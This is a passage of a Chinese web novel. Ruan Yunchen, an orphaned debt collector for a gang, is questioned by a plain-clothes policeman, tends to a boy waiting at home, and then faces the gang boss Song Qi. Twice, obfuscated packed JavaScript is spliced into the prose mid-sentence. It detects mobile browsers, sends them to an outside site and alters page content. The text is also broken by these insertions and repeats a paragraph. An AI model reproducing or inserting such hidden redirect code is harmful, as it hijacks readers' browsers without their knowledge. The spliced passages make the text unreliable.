那人站在巷口的阴影里,灯光昏暗,他的身形显得有些模糊不清,手里拎着一把折叠伞,伞尖点着地面,微微晃动,发出一声轻微的“嗒”响。 那声音在安静的夜里,像一根细针落在地板上。 ——廖致远。 他穿着一件深色外套,身上的衣料随着夜风微微鼓动。 老警察的站姿很松弛,肩膀却微微后压,带着一种不容忽视的沉稳。目光像是随意落下,眼神像是藏在云层后的雷光,没那么锋利,却自有一股让人无所遁形的力量。 阮云琛瞬间绷紧了每一根神经。 她的眼神暗了暗,心底迅速闪过一个念头:他早就没走远。 她的指尖不由自主地蜷缩了一下,手插在口袋里,掌心里那张揉得皱巴巴的欠条触感冰凉,让她找回了一丝微渺的镇定。 阮云琛知道他为什么在这里,却无法立刻判断他看到多少,怀疑多少,是否会对她下一步行动造成威胁。 “真巧,”廖致远开口了,声音低沉而平静,“又碰到你。” 他的语气带着一丝意味不明的试探,却不咄咄逼人,像是随口说的闲话,又像是在等着什么。他的目光缓缓从她身上扫过,停在了她略微凌乱的衣袖上。 阮云琛没有回话,表情平静得像是一面无波的镜子,但她的脚步却下意识地往后挪了一寸,鞋底发出一声细微的摩擦声。 “这么晚了,一个人跑出来,不害怕?”廖致远把伞稍微立直了一些,语气听起来像是漫不经心的关心。 可阮云琛很清楚,真正的警察,连关心都是带着刀锋的。 她低下头,没有回答。 她知道,越少说话,则能越少暴露自己。而对方…… 他显然还在观察。 ——他在怀疑自己。 不管是看到了什么,还是什么也没看到,但此时此刻在这种情况下出现在这条巷子里,不管是谁——哪怕只是一只野狗,也是可疑的。 廖致远似乎没打算急着开口,他只是站在那里,像是随意观察着什么,目光却时不时落在她的脸上,那种不动声色的沉稳,让人感到一种隐隐的压迫。 隔了许久,他才缓缓抬起手来,理了理衣服袖口:“你住这附近?” 他的语气很随意,却在那一瞬间让阮云琛的后背绷紧了几分。 阮云琛抬起眼皮,目光微微动了一下,却没有真正看向他。这个问题就像是铺在地上的绳索,一旦回应,可能就是另一个套子。 “路过。”她说。 廖致远轻轻笑了一声,像是对她的回答感到几分无奈,又像是在自嘲什么:“真是……太巧了。” 他没再继续追问,而是稍稍侧过身,把伞换到另一只手上,顺势点了点她的方向:“这里最近不太平,晚上巷子里乱得很,还是少一个人瞎转悠的好。” 廖致远的声音里没有明显的情绪,语气温和得甚至让人听不出试探的意味,可越是这样,越让阮云琛觉得不安。 她的脚步再次后退了半寸,背后贴上了巷子的墙壁。 廖致远的目光没有挪开,他站在那里,像是在等待什么,或者说,是在观察她的反应。 阮云琛深吸了一口气,目光垂下,掩住了眼底一瞬间的波动。 她很清楚,在他面前,任何多余的动作都是致命的。 “知道了。”她说。 廖致远却不着急。他的视线落在她的侧脸上,稍稍停了一瞬,又顺着她的肩膀移向巷子深处,像是在寻找什么。 可很快,他就收回了目光,像是随意地开了口:“你一个人?” 阮云琛的眼神没有抬起,依旧低垂着,脸上的神色波澜不惊,像是听到了一句无关紧要的问话。 “嗯。”她的声音轻而平淡,几乎没有情绪起伏。 廖致远皱了皱眉,似乎对这样的回答并不满意。 他扯出了伞上的捆绳,草草地把那伞叶给捆了起来,发出轻微的声响。 “我记得……你还有个妹妹吧。”他的语气有些迟疑,却不掩试探的意味,“她……你们还在福利院吗?” 阮云琛的动作微不可察地停顿了一瞬。 这句话像是某种无形的钩子,从她内心深处勾出了一些不愿触碰的记忆。她的目光稍稍抬起,落在廖致远脸上的瞬间,又迅速移开。 灯光昏暗,巷子的尽头笼罩在一片模糊的阴影里。风吹过她的外套,衣摆扬起一角,随即又垂落下去,像她此刻被压下的情绪。 她在脑海里飞快地翻找着,但那股情绪,混杂着迟疑与烦躁,像是一把生锈的小刀,轻轻地划过她的喉咙,让她呼吸一滞。 阮云琛的手指不自觉地攥紧了口袋里的欠条,冰冷的纸张硌在掌心里,把她从混乱的思绪中拽了回来。 “我们不在福利院了。”她的声音低而平淡,听不出情绪,但话一出口,连自己都觉得莫名其妙地疲惫。 这句话像是扔进水里的石子,没有激起预料中的涟漪,却让空气变得沉甸甸的,仿佛每一次呼吸都带上了一丝压迫感。 ——没必要撒谎。 在警察面前,一切谎言都像是无稽之谈。 他们总能扒得出她的过往的。 不是现在,就是以后。 总能被找得到的。 就只是藏得久点或是更久点的区别。 廖致远却微微怔住了。 他的眉心皱得更紧了一些,伞尖轻轻敲了敲地面,那些他想出口的问题一下子堵在了喉咙里。 “不在福利院了?”他下意识地重复了一句,声音里带着不可忽视的惊讶和一点点的迟疑,仿佛这个答案彻底打破了他对她的某种预设。 廖致远原以为,阮云琛和她的妹妹阮淼淼早已在福利院安然无恙地生活着,那些过去的伤痕或许没有彻底愈合,但至少应该被好好掩盖住了。 可现在听到这句话,那些刻意堆叠起来的平静假象,像是被人用力掀开了一角,露出隐藏在底下的狼藉。 他看着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的话像是某种努力掩饰的温情,又像是一种无法摆脱的责任。 阮云琛的目光微微垂下,像是没听见,亦或者听见了,却不愿回应。 廖致远看着她的侧脸,眼底闪过一丝不易察觉的迟疑。他沉默了几秒,仿佛在心里下了某种决心:“如果……需要帮忙,可以告诉我。” 这句话很轻,轻得像是一片落叶,飘落在风中,没有掀起任何涟漪。却又像是一根无形的线,悄悄地扎进了沉默的空气里。 阮云琛忽然抬起了头。 她的目光短暂地与他对上,眼神里带着某种锋利的冷意,直直地刺向他。可下一秒,她又迅速低下头,像是什么也没有发生过一样。 “知道了。”她的语气依旧淡漠,却多了一分不容置疑的疏离。 廖致远看着她的侧脸,嘴角动了动,最终还是没再说什么。他缓缓地后退了一步,伞尖点在地面上,发出一声轻响。 “早点回去吧。”他说。 45. 失败 廖致远的声音还在风里飘着,像是一根细长的刺,插进了阮云琛的耳里,扎得她脑子嗡嗡作响。 她没有回头。 紧绷的神经突然松懈下来,脑子里的过多的思绪便会一窝蜂涌上心头。 脚下的步子平稳得近乎机械,风里带着一点潮湿的腥味,擦过阮云琛的脸。她的呼吸却有些不稳了。 她靠在公交车窗边,脑袋微微偏着,手插在外套口袋里,指尖在薄薄的布料下轻轻摩挲着欠条的边缘。 纸张被捏得皱皱巴巴,硌着掌心,却又像是一根细针,正一点点扎进她的神经。 车窗上映出的倒影模糊不清,随着路灯的光线晃动着拉长又缩短。她盯着玻璃,目光没有焦点。 光影仿佛一片涌动的潮水,扑到她面前又退回去,把她的影子淹没得支离破碎。 ——任务失败了。 钱没讨到,房本没带回来,甚至连象征性的威慑都没留给对方。 她放弃了——比“失败”更刺眼的词。 那一刻她就知道,逃离的代价可能比完成任务更重。 公交车的颠簸让阮云琛微微晃了一下,额角撞上车窗,传来一阵钝钝的痛感。她下意识地闭上眼,肩膀往后靠了靠,脑子里却越转越快。 宋祈。 他会怎么想? 阮云琛几乎不用多想就能知道答案。 宋祈的性格她再清楚不过了——多疑而危险,控制欲强到令人窒息。 他的目光就像是一只老鼠,永远潜伏在阴影里,盯着一切异动。 她最近的一举一动,已经足够让他起疑了。 淼淼出院后,她的经济需求大幅减少,这一点瞒不过宋祈。而她带回那个男孩,却没有向宋祈汇报,这更像是某种抗拒——或者说,试图挣脱的信号。 宋祈不会直接发怒。 他从来不需要用怒火来控制任何人。 他的武器是试探,是不动声色的压迫。 他会让她自己明白,她永远都在他编织的网里,哪怕一时脱离轨道,也不过是更深的束缚开始罢了。 楼下面摊的债—— 对,楼下面摊的债,就是宋祈给她的第一声警告。 风从车窗的缝隙钻进来,带着夜晚的凉意。阮云琛的指尖稍稍用力,欠条边角在掌心压出一道细微的痕迹。 公交车驶过一个转角,车厢微微摇晃,她的身体又跟着晃了一下,手里的欠条几乎滑了出来。 阮云琛抬头望向窗外,远处的街景在光影里流动,像是某种失真的画卷。 她的眉间隐隐皱着,思绪却从未停止。 除了宋祈,还有廖致远......那个警察。 他出现在棚户区,绝对不是偶然。 阮云琛闭上眼,试图回忆起他的一举一动——他的目光带着温和的探究,却像是一根缓缓逼近的针。 他没有直接戳破什么,可那份刻意的克制反而让她感到更加不安。 廖致远很可能是冲着和安堂来的。 他没有穿警服——两次都没有。 可他的那些试探,看似无意,却像是在等待时机。一个足以让他确认的契机。 “这地方不安全”。 廖致远每次都和她说了这句话——并且重复了多次。 ……潜伏? 警察...... 警察在查“和安堂”了吗? 阮云琛的呼吸稍稍沉了一下,手掌按在腿上,试图平复心绪。 脑海里却依旧乱作一团,宋祈的阴影和廖致远的目光交错着,将她困在一个看不见出口的漩涡里。 “姑娘,到站了。” 司机的声音让她从思绪里抽离出来。她愣了片刻,抬头望向窗外,发现已经过了好几站。 她下了车,夜晚的寒风迎面扑来,刺得她脸颊微微发痛。路灯下,一个卖油饼的老婆婆在翻动锅铲,散发出的香气混着冷空气,撞进她的鼻腔。 这是......哪来着? “迷路了?”老婆婆抬头看了她一眼,声音沙哑却带着几分笑意,“站台在那边,顺着走。” 阮云琛不记得自己是怎么到家的了。 巷子的灯光昏黄,像浸了水的纸,薄薄地铺在湿冷的街道上。风吹过,搅起地上的尘土,带着一点陈旧的气味。 阮云琛站在那栋熟悉的楼前,脚下是坑坑洼洼的水泥地,面前是那扇熟悉至极的、生了锈的铁门。 铁门被风推得轻轻晃动,“吱呀”一声,像一只快被掐死的鸟,发出尖锐的哀鸣。 耳边是远处几声模糊的狗吠,声音低哑,像被夜色吞噬的尾音。 ——楼下的面摊竟然还开着。 面摊昏黄的灯泡孤零零地吊在半空,光线像一层薄纱,将周围的冷风和潮气挡在外头,却遮不住人脸上的疲惫。 万秀低着头,手里的锅铲在铁锅里翻腾,油烟升起,模糊了她的轮廓。 那张脸隐在烟雾里,只露出紧抿的嘴角和眉心深深的纹路,像是从骨子里渗出的倦意。锅铲敲在铁锅边缘,“叮”的一声,清脆得像是要打破夜晚的沉寂,却最终淹没在冷风里。 摊前坐着几个人,安全帽斜扣在头顶,泥点还挂在边沿。他们一声不吭,目光游移在面前冒着热气的碗里,像是连说话的力气都耗尽了。 平时热热闹闹的面摊,这会儿静得有些不正常,连汤面落进碗里的声音都显得过于突兀。 阮云琛停下了脚步,目光一转,落在旁边的砧板上。 程一冉站在那里,身形比烟雾里的万秀更显瘦削。 她手里握着一把旧菜刀,刀刃微微卷口,反射着灯光,像是把薄薄的镜子。刀在洋葱上一下下切下去,动作机械又急促,切面平整,却藏着一股隐忍的怒气。 洋葱的汁水从刀刃上滑落,连同眼泪一起砸在砧板上。 那双眼睛红得像是浸过血,泪水不停地涌出来,划过脸颊,滴在案板边缘。程一冉没有擦,似乎也不打算停下动作。 刀锋“咚咚”地撞着木头,每一下都透着一种不近人情的节奏,把整个摊位的安静气氛敲得愈发僵硬。 万秀猛地停下了手里的动作,转头看向程一冉。那目光不算凌厉,却像是风吹过了刀刃,带着一点看不见的锋利。 “你切个洋葱能不能不这么埋汰?”她伸手夺过那把旧菜刀,嘴上数落着:“哭成这样,我说了多少遍了,切洋葱之前给刀沾点水!我说话都当耳旁风了是吧?” 程一冉愣了一下,抓着洋葱的手还停在半空中,刀已经被万秀拎着丢进了水池。 冰凉的水冲在刀刃上,溅起一点点水花,带走了那层油腻的汁水,也让案板上散发出的洋葱气息减弱了一些。 “拿着!”万秀从旁边的抽屉里扯出一包纸巾,直接塞进了程一冉的手里,“擦擦眼睛,再哭下去人还以为咱们摊子怎么了。” 程一冉的嘴唇动了动,像是想要反驳,却又什么都没说出口。 她低头看着手里的纸巾,指尖微微发颤,把那一团白色的纸张捏出了皱褶。眼泪还是没停,顺着鼻翼和眼角滚下来,滴在砧板上,晕开一片湿痕。 “别在这儿站着丢人现眼了,赶紧去学校上课。”万秀没有给她反应的机会,推了她一把,把她往摊子外头赶。 程一冉踉跄了一下,抬起头看了一眼万秀,目光里带着点不甘心,却还是垂下了眼,攥着纸巾,把书往书包里胡乱地塞了进去。 她的脚步在水泥地上拖出一串轻微的声响,渐渐融进了微亮的晨光之中。 阮云琛往后退了一步,埋在了阴影中。 风来。 油烟的味道混着洋葱的辛辣气息吹散开来,不由分说地钻进了鼻腔。 阮云琛有片刻的出神。 她忽然觉得周围的一切有些陌 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她几乎是立刻认出了这个轮廓,那个蹲在桥下的身影——如今换了个地方,却还是保持着那种小心翼翼的姿态,像是怕惊扰了谁,又像是刻意把自己藏进夜色里。 风从耳边掠过,带着潮湿的寒意,却没能把阮云琛脑海中那根绷紧的弦吹断。 她站在原地,视线落在那个低着头的身影上。 灯光摇晃着,将那孩子的轮廓拉得有些虚幻,像是一幅快要被风吹散的画。她的呼吸缓了一拍,手指在口袋里微微蜷了蜷,指尖轻轻划过布料,像是下意识地寻求一点触感,来把自己拴住。 刚才的思绪翻涌得太快,像是一场泥石流,从宋祈到廖致远,最后卡在眼前脏兮兮的面摊。每一处都带着沉重的压迫感,把她压得喘不过气。 那些人、那些事,就像一只无形的手,牢牢攥住了她的后颈,让她无处可逃。 可现在,一切似乎突然静止了。 那孩子的动作很轻,书页被风掀起了一角,又贴着他的指尖悄然落下。 他低着头,肩膀微微缩着,像是沉浸在自己的世界里,不知道周围发生了什么。风从他的头顶拂过,把一缕头发吹得稍稍翘起,又轻轻落回原位。 就这么安静地坐着,像一块安稳的石头,沉在这片躁动的水里。 阮云琛看着他,心里某处被突如其来的静谧拍了一下。那些纷乱的念头似乎被挡住了,像是有人拉上了窗帘,把风雨挡在外面,只留下了一点模糊的光线。 她缓缓吐出一口气,指尖从紧绷到微微松开。冰冷的空气钻进掌心的缝隙,带着几分刺痛,却让她意识到自己的存在。 恐惧和烦躁并没有散去,但却被压到了某个更深的角落里,像是一头被迫伏低的猛兽,暂时停止了躁动。 她不知道自己为什么停下来,也不知道自己为什么会觉得那孩子的存在让这片夜晚多了一点不该有的安稳。 她只是忽然在想——在想什么来这? 阮云琛忽然卡了壳。 思绪就好像被戛然堵住的水龙头,脑子里一下子就只剩下了片无尽的空白。似乎有什么东西在后头试图喷涌而出,可却无论如何也捅不破堵住的那个塞子。 男孩突然抬起了头。 灯光在他脸上一晃,那双眼亮得过分惊人。 阮云琛看着他,忽然有点不适应这种安静。 她缓缓走了过去,脚步声很轻。铁门在风里轻轻晃着,发出细微的“吱呀”声,她却觉得刺耳得让人心烦。 “你怎么……”她的声音刚开口,又顿了一下,像是在调整语气,“没在家?” 男孩的头微微一抬,昏黄的灯光在他眼里洒下两点亮光。 他看了她一眼,脸上的表情不多,只有一种淡淡的平静——那种平静里藏着一股很深的东西,像是一汪纯净的山泉,暗流涌动,却不发声。 “等你。”他说。 46. 凉油饼 男孩的声音轻得像羽毛落地,却透着一丝掩不住的坚定。 那两个字落下的瞬间,就像一颗小石子投入平静的湖面,无声,却让阮云琛心头的波纹一圈圈荡开。她站在原地,脚步僵住,手指不自觉地蜷了蜷,像是在抓住什么又松开。 “等我......?”她低声重复了一遍,语气里透出一丝不易察觉的嘲弄,更多像是在对自己说。 男孩没有回避她的目光,点了点头,神情平静得让人无法忽视:“天快亮了,你还没回来,我想……你可能迷路了。” 阮云琛忽然感到胸口像是被什么东西轻轻压了一下。那并不是沉重的压迫感,而是一种微妙的坠落感,仿佛脚下的地面被悄悄挖空了一小块,刚刚好的,足以让她失去平衡。 不是累,也不是痛,而是一种说不出口的别扭。 像是她原本小心掩藏的某种东西,被无意间挑开了一点,却又没完全暴露,只留下模糊的轮廓在空气中晃动。 她低下头,盯着地上斑驳的影子,那是她和男孩叠在一起的影子,被昏黄的灯光拉得又长又瘦。 她想说点什么,却发现喉咙发紧,像是被一层无形的纱布堵住了。 风从楼道的铁门缝隙里钻过,带着微微的湿气,吹起了她额前的碎发。 阮云琛忽然有些烦躁,却说不上这种烦躁的来源——是因为男孩那份沉静的等待,还是因为他平静里透出的那一点点笃定。 她沉默了很久,像是一块沉在水底的石头,四周是浑浊的水流拍打着,却始终纹丝不动。 “淼淼呢?”隔了许久,她才终于开了口,可那声音低哑得可怕,听不出一点情绪。 这个问题像是从喉咙深处挤出来的,带着一点小心翼翼的试探,又藏着某种不自知的倦怠。 男孩抬起头,眼神里掠过一丝微弱的亮光:“她还在睡。” 他站得很安静,语调平平淡淡,没有多余的解释,但那一句“还在睡”却像是刻意的安抚,轻轻撞在阮云琛心头。 她的目光扫过他瘦弱的肩膀,落在那本书的封面上,灯光下印着的几个字模模糊糊,看不清楚,却让她的胸口隐隐一紧。 阮云琛的喉咙微微动了一下,把那些无法出口的话咽了下去。 她低头把手里抓着的一大兜子油饼递了过去:“拿着。” 男孩愣了一下,伸手接过来。 纸袋的表面还带着点冷掉的油腻感,还有被人抓握了很久的余温。 “煤气灶会用吗?”阮云琛说得很慢,声音不大,带着一种近乎随意的平淡,“锅上热一热再吃,凉油吃了闹肚子。” 男孩垂下头看了一眼纸袋,又猛地抬起了眼。 他抬头望着她,那双眼睛在昏黄的灯光下微微闪烁着,像是有很多复杂的情绪在里面翻滚,却又被他强行压了住。 “你……”他顿了顿,声音很轻,像是犹豫,又像是试探,“你还要出去吗?” 阮云琛一怔。 她的目光落在他手里的书上,又迅速挪开,像是突然被什么刺了一下。她的手垂在身侧,指尖微微弯曲,紧绷的姿态里藏着某种难以言喻的复杂。 “有点事,我晚点回。”她轻声说,带着点不易察觉的疲惫,“如果淼淼醒了,就让她把三年级的语文书再从头开始读......看过的都要背下来,我回家抽查。” 见男孩竖着耳朵认真听着,阮云琛冷不丁地补充了一句:“你也是。” 男孩的眉心微微动了一下,目光从她的脸上移开,落到纸袋上,似乎在消化这句话的分量。 “客厅桌下的篓子里有六年级课本......你该开始看了。” 话一出口,阮云琛自己都愣了一下。她下意识地闭了闭嘴,像是试图把这句话往回收,可已经来不及了。 空气里多了一丝让她不知如何定义的怪异。 她盯着男孩低垂的头,目光莫名停留在他握紧纸袋的手指上,骨节微微泛白,手背上隐约透着几分紧绷。 片刻后,她轻轻嗤了一声,声音不高,像是在嘲笑什么,也像是在和自己较劲。 “听听这话说的,”她低声自言自语,嘴角牵起一丝若有若无的弧度,带着点自嘲的味道,“跟真把自己当家长了似的。” 说完,她抬了抬眼,像是要从男孩的脸上捕捉点什么,可对方只是低着头,安安静静地站在那里,没说话。只有手里纸袋的边缘,被捏出了更深的一道褶。 “课本……”男孩低声重复了一遍,语气轻得像是怕打破这份微妙的气氛。 他垂下眼,嘴角似乎扯出了一点几不可察的弧度,却很快敛了回去。那种近乎微笑的表情在昏黄的灯光下显得格外安静,安静到让人有些不安。 阮云琛的目光从男孩的手指上滑过,那双手攥着油饼袋,动作有些用力,像是握着什么比食物更重要的东西。 她微微皱了皱眉,没有开口,却是好像忽然生出了一种奇怪的感觉——像是被什么东西轻轻推了一下。 那个站在她面前的孩子,那副安静低头的样子,让她觉得自己反而成了被观察的一方。 这感觉从未有过。 陌生,甚至有些微妙地不适。 她不记得自己做过什么会让人以这样的方式看她,可那目光安静、隐忍,带着点不该出现在这个年纪里的冷静,像是把她连同这句再普通不过的吩咐都当成了一种仪式。 “好。”他轻声应道。声音干净,带着一丝倔强的沉稳,与他的年纪并不完全相符。 阮云琛的喉头微微动了一下,心里那根绷紧的弦仿佛被触碰了一瞬。 她本想转身离开,却在看到他目光里的那点隐忍和认真时,脚步不自觉地顿住了。 男孩站在那里,仰头看着她,没有催促,也没有再问。那份沉默被风声吹得轻微摇晃起来,像是无声无息的注脚。 阮云琛的目光从他紧攥着纸袋的手指上挪开,落在他头顶那一小撮被风吹乱的发丝上——那一刻,她不知道自己在想什么,只是鬼使神差地抬起了手。 指尖刚刚触碰到他的头发,她就察觉到了自己的失控——动作轻得像是怕惊扰了什么,手掌却没有退回。 温热的触感通过掌心传递过来,她第一次如此清晰地感知到他的存在,不是一个模糊的影子,也不是单薄的责任,而是一个鲜活的人。 男孩的身体轻轻一颤,却没有躲开。 他抬头望着她,眼神里有不知所措,也有几分微弱的期待,像是怕她下一秒就会收回手,却又不敢表现得太过明显。 阮云琛感到指尖的温度开始灼热,她僵硬地维持着动作,心里突然泛起一种陌生的情绪,混合着隐约的愧疚和一丝被戳破的防备。 “行了。”她低声说道,手迅速收了回来,像是触到了什么烫手的东西,动作急促,甚至带着一点狼狈。 男孩安静地看着她。 那双眼睛在昏暗的光影里微微泛光,平静得过分,却让人无端地觉得被看穿了什么。他的目光没有流露出惊讶,也没有责备,只有一种沉稳得不该属于这个年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975536|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的清醒。 阮云琛察觉到他的注视,心里突然一阵不自在。 她知道,他大概早就明白了什么。 频繁的深夜外出,每次归来都带着疲惫而疏离的神情,还有那些藏不住的痕迹——指尖偶尔的红肿,衣服上散不去的烟草味—— 桥洞是阮云琛回家的必经之路,而那也是这孩子先前每日每夜呆着的地方。 他当然能看得个一清二楚。 可这个孩子不问,也不说,但他的安静像是一面镜子,把所有被掩盖的真相反射回来。 “路上小心。”他忽然开了口,声音轻得像是飘在夜风里,却一字一句清楚地撞进阮云琛耳中。 阮云琛的脚步一顿。 那句话短得不能再短,却像是一根细针,悄无声息地戳在她心底某个角落。 男孩的语气没有半点波澜,却比任何怀疑和指责都更让人无所适从。 她下意识地抬眼看向他,男孩的目光依旧停在她身上,平静、克制,却带着一点她无法忽视的清明。 他什么都没问,也什么都没追究,只是站在那里,用一份近乎坦然的姿态,将她所有的狼狈和隐瞒默默地接纳下来。 只可惜,安静总是短暂,平静也从来都是假象。 天已经亮了,冷风裹挟着早晨的灰白,把街道上零星的光点打得更加晦暗。 阮云琛站在和安堂门前,脚步僵了一瞬。 霓虹灯的灯泡熄着,静静挂在那儿,表面结着一层油腻腻的灰尘。灯管里的气泡在微弱的晨光下若隐若现,像是死透了的鱼眼。大门口的地面更显肮脏,污垢斑驳得像块被人踩过无数次的旧抹布,砖缝间的泥渍像伤疤一样横七竖八地刻在那里。 阮云琛没有马上推门。 她站在那里,寒风灌过外套的领口,贴着后颈钻了进去,冰凉的触感让她轻轻皱起眉。 胃里一阵翻滚的钝痛,从清晨醒来就没停过。那是一种熟悉的感觉,像是内脏被拧成一团,发酸的胆汁涌到喉咙口,连呼吸都被压得有些沉闷。 她深吸了一口气,指尖在风里蜷了一下,又缓缓地伸直。 任务失败的后果,宋祈会怎么处理,她心里并不是完全没数。 那些可能性像是一把藏在桌底的刀,冷不防地会划过她的脚踝,但她只能站在这里,等着它砍下来。 阮云琛抬头看了一眼门口的保镖。 两个男人站得笔直,厚实的外套下是一张张硬得像冰块的脸,寒风在他们身上刮了一整夜,却没留下半点松懈的痕迹。 某种意义上,阮云琛有点羡慕他们——守着这扇门,从来不需要进到里面去。 但她没有选择。 “不想去”不是理由,“不敢去”更是不行。 阮云琛低头看了看自己的鞋尖,上面沾着些许干涸的泥点。她抬脚往前走,鞋底擦过地面的声音很轻,但她自己却听得一清二楚。 手刚搭上门把,门后传来的声音就让她浑身一僵。 “怎么回事?”宋祈的声音低沉,像从黑暗里窜出来的蛇信,又冷又带着几分锐利的意味。 阮云琛迟了一秒,最终还是推开了门。光线从门缝里漏出来,猛地晃了一下她的眼睛,刺得她下意识地眯起了眼。 熟悉的气味迎面扑来。 皮革的酸涩、烟草的辛辣,还有红酒里浓郁得有些发腻的醇香。她的胃里猛地又是一阵翻涌,但这一次,她只是攥紧了自己的手指,任由那股恶心感从喉咙口压了回去。 里面一片死寂。 47. 狗 灯光柔和得不真实,把每一处家具的细节都勾勒得分外清晰。 阮云琛的目光掠过沙发,最后落在宋祈脚边的那杯红酒上。玻璃杯在他指尖缓缓地旋转着,猩红的液体像某种正在流动的血,灯光一晃,反射出刺眼的光点。 “那家小作坊的债,没收成?” 宋祈没有抬眼,只是盯着杯中的液体,声音里透着一丝不耐烦,像是早就预料到了答案,却非得听她亲口承认不可。 灯光柔和得不真实,把每一处家具的细节都勾勒得分外清晰。 阮云琛的目光掠过沙发,最后落在宋祈脚边的那杯红酒上。玻璃杯在他指尖缓缓旋转,猩红的液体像某种正在流动的血,灯光一晃,反射出刺眼的光点。 阮云琛站在原地,指尖在口袋里微微蜷缩了一下,掌心早已被冷汗濡湿。她脑海里反复推演的那些回答,此刻全都变得无用又滑稽。 她想开口,话却在嗓子眼儿堵住了。 一阵微弱的风从门缝里钻进来,卷起室内酒香和烟草气息的微凉气味。她站得笔直,仿佛没被这股冷意侵袭,实际却连指尖都绷得发白。 从来如此。 不论在福利院还是和安堂,她从未摆脱过这种反射性的恐惧。那不是简单的害怕,而是一种更深层的东西——恶心,甚至带着某种生理性的排斥。 她记得有一次,和安堂里的人嘲笑她:“野丫头,孤儿院里出来的狗,还敢跟主人顶嘴?”那句话像一根钉子,扎在她脑海深处。她明明已经努力拔掉,可它留下的伤口依然隐隐作痛。 现在也是一样。 那种东西就像毒液,早已渗透到骨髓里,连她的身体都学会了这种条件反射。见到宋祈的瞬间,她就像被看不见的绳索牢牢拴住,动弹不得。 “问你话你就回答。”宋祈抬眼,目光冷冷地掠过她的脸,声音压得低而缓,像是一道落在空气里的鞭子。 那声音打破了短暂的沉默,也将她从刚才的僵滞中硬生生扯了回来。 阮云琛缓缓抬眼,视线与他对上,只觉得肩膀的肌肉绷得发紧。 “……有警察。” 她开口了,声音平静到近乎冷漠,像是在陈述一个完全与自己无关的事实。 宋祈的动作停了一下,脸上的笑意不增反减。他终于抬起头,目光带着冷冷的锋利,仿佛在打量一件突然出了瑕疵的工具。 “警察?”他的语调微微上扬,嘴角泛起一丝嘲弄,像是听见了什么荒唐的笑话,“警察能拦住你?” 阮云琛没有答话,目光沉着而冷静,肩膀挺得笔直,像是一道无懈可击的墙。 可这种姿态维持得太过完美,反倒透出一丝过于刻意的疏离感。那疏离感在空气里弥散开,像是一层无形的隔膜,将她和房间里的威压隔成了两个世界。 宋祈的手指轻轻摩挲着玻璃杯的杯壁,指尖的动作慢条斯理,甚至带着一点悠闲的从容。 他没有立刻抬头,只是垂着眼看向酒杯,仿佛在欣赏那猩红液体的旋转轨迹。 时间像被无限拉长,每一秒钟都像是被悬在半空中的刀刃,细细地切割着阮云琛的神经。 她不动声色地呼出一口气,眼睛盯着前方,看似平静,手指却在衣兜里微不可察地蜷缩了一下。 掌心一片冰凉,像是有什么东西在里面蒸发,带走了她最后一点温度。 宋祈终于将酒杯放下,动作轻得几乎没有声响。他缓缓抬起头,目光从酒杯上移开,落在了她的脸上。 那是一种钝刀般的注视,不急不缓,却有种能将人一层一层剖开的耐心。 阮云琛仍然保持着平静,她的呼吸缓慢而均匀,像是在刻意调控着身体的节奏。可即便如此,她的后颈依旧感到一阵轻微的麻痹,像是被什么冰冷的东西贴住了。 宋祈站起身了。 他的动作不急不缓,每一步都显得从容不迫,脚步声很轻,却像是无形的钟摆,敲在她的耳膜上,每一下都带着一丝无声的压迫感。 那种压迫感像是一根鞭子,随着他每一步的逼近,越缠越紧。 “越来越不行了,阮云琛。”他的声音低了几分,语气却是漫不经心的,像是在说着一件无足轻重的小事。 可那语气里的冷笑和讥讽,分明将她的一切看得通透。 阮云琛没有开口,她站得笔直,眼睛里没有半点波动,可肩膀的肌肉却紧得发酸。她甚至能够感受到呼吸间的空气被压缩成了一道无形的墙,正一点点向她逼近。 宋祈的目光稍稍停在她的脸上,又从她的肩膀、手臂一路扫过,像是在打量一件他熟悉又陌生的物件,似乎在试探,是否出了什么他无法察觉的纰漏。 “是不是觉得你妹妹出了院,”宋祈的语调轻了几分,却压得极低,像是缓缓滑入耳朵里的刀锋,“你就不需要钱了?” 他说得很慢,每一个字都像是被仔细雕琢过,刀刻般落在空气里,锋利得让人无处可逃。 阮云琛的身体不由得绷紧了一瞬,仿佛那句话已经从她的耳畔滑进了骨髓里,将那里冻结成了一片死寂。 她的目光依旧沉静,像是一潭没有涟漪的水,但那水下有什么东西动了一下——悄然无声,却无法忽视。 她的手指蜷缩在衣兜里,指尖的粗糙摩擦过布料,却无法平息那种无法掌控的微颤感。 宋祈没有急着开口,他的手指轻轻地在沙发扶手上点了两下,节奏不快,却像是一记记无声的敲打,将这短暂的沉默拉得绵长而又粘稠。 阮云琛没有动。 她知道,这沉默并非是给她喘息的余地,而是某种更深的试探。宋祈总是这样,从不直接压迫,而是用一种冷冰冰的耐心,剖开所有人的伪装,看清他们藏不住的东西。 她的目光稍稍移开了一点,落在不远处的那杯红酒上。猩红的液体在玻璃杯壁上流动,倒映着宋祈的脸——那张线条分明的侧脸上带着一种漫不经心的笑,像是一个耐心等候的审判者。 时间被这沉默拉得愈发漫长,像是挂在悬崖边的一根线,随时可能断裂。 宋祈的手指停下了。 他微微歪过头,眼神像是一把精准的刀,缓缓地划过她的脸庞,停留在她的眼睛里,嘴角一点点勾起了弧度。 那就像是一只发现了猎物的野兽,耐心地等待着它挣扎。 “还是说——”他顿了一顿,目光直直地刺进她的眼睛,“你有了别的牵挂?” 他刻意拖长了尾音,像是在将刀尖轻轻压进伤口,慢慢施力,等待着她的反应。 这一句话落下的瞬间,阮云琛的呼吸变得浅了一些,像是胸腔里的空气 